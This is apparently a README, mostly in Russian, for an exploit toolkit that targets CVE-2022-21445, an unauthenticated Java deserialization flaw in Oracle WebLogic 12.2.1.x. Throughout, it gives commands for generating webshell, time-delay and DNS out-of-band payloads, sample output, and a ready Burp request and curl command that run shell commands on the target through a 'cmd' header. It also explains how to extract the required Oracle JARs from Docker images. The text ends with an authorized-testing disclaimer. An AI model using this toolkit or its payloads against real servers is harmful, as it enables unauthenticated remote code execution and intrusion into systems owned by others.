
Exploit for CVE-2022-21445 of Oracle Weblogic 12.2.1.X
Этот набор инструментов генерирует эксплуатационные полезные нагрузки для CVE-2022-21445, критической уязвимости десериализации Java, затрагивающей Oracle WebLogic Server 12.2.1.x с Oracle ADF Faces.
Ошибка существует в компоненте RemoteApplicationResourceLoader и позволяет злоумышленнику отправить специально сформированный HTTP GET-запрос, вызывающий небезопасную десериализацию. Успешная эксплуатация может привести к неаутентифицированному удаленному выполнению кода (RCE) на целевом сервере.
| Требование | Версия | Назначение |
|---|---|---|
| Python | 3.6+ | Запуск скрипта эксплойта |
| JDK | 1.8 (рекомендуется 8u202) | Компиляция и запуск генератора полезной нагрузки Java |
| Weblogic | 12.2.1.X | Уязвимые версии |
Полезная нагрузка должна быть скомпилирована с JDK 1.8, чтобы соответствовать среде выполнения Java на целевой системе.
# Используйте SDKMAN:
sdk install java 8.0.402-tem
# Выберите java 8
sudo update-alternatives --config java
java -version # Должно показать 1.8.x
javac -version # Должно показать 1.8.x
Создает полезную нагрузку, которая читает команды из HTTP-заголовка cmd и возвращает вывод в теле ответа.
python3 exploit.py --version 12.2.1.4 --type webshell
Вывод:
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...
======================================================================
PAYLOAD GENERATED SUCCESSFULLY
======================================================================
[*] Payload type: webshell
[*] Payload length: 2156 characters
──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
Для слепого тестирования — подтверждает выполнение кода, если ответ задерживается.
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
Отправьте полезную нагрузку и измерьте время ответа:
Для внеполосного подтверждения с использованием Burp Collaborator или аналогичного сервиса.
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
Используйте --target, чтобы получить отформатированный вывод с правильным хостом и контекстным путем:
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
Это форматирует запрос Burp и команду curl с правильным хостом и путем:
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmd, чтобы выполнять разные команды
В случае поврежденных Jar-файлов следуйте инструкции по установке нужной версии Weblogic и извлечению соответствующих Jar-файлов.
Это извлекает необходимые Oracle JAR-файлы из официального Docker-образа FMW Infrastructure.
# Создайте каталог libs
mkdir -p libs/12.2.1.3
#или
mkdir -p libs/12.2.1.3
# Загрузите образ Oracle FMW Infrastructure 12.2.1.3 или 12.2.1.4
# Примечание: Возможно, потребуется принять лицензию на container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#ИЛИ
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Допустим, нам нужны JAR-файлы версии 12.2.1.4 (в случае 12.2.1.3 просто замените .4 на .3 в командах)
# Создайте временный контейнер (запускать его не нужно)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Извлеките требуемые JAR-файлы
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
Примечание: JAR-файл
javax.mail(необходимый для кодирования MIME base64) автоматически загружается из Maven Central при первом запуске. Ручная настройка не требуется. Полезная нагрузка веб-шелла использует чистую рефлексию и не требуетweblogic.jarво время компиляции.
Этот инструмент предназначен только для авторизованного тестирования безопасности. Всегда получайте письменное разрешение перед тестированием систем, которые вам не принадлежат. Авторы не несут ответственности за любое неправомерное использование. Несанкционированный доступ к компьютерным системам является незаконным.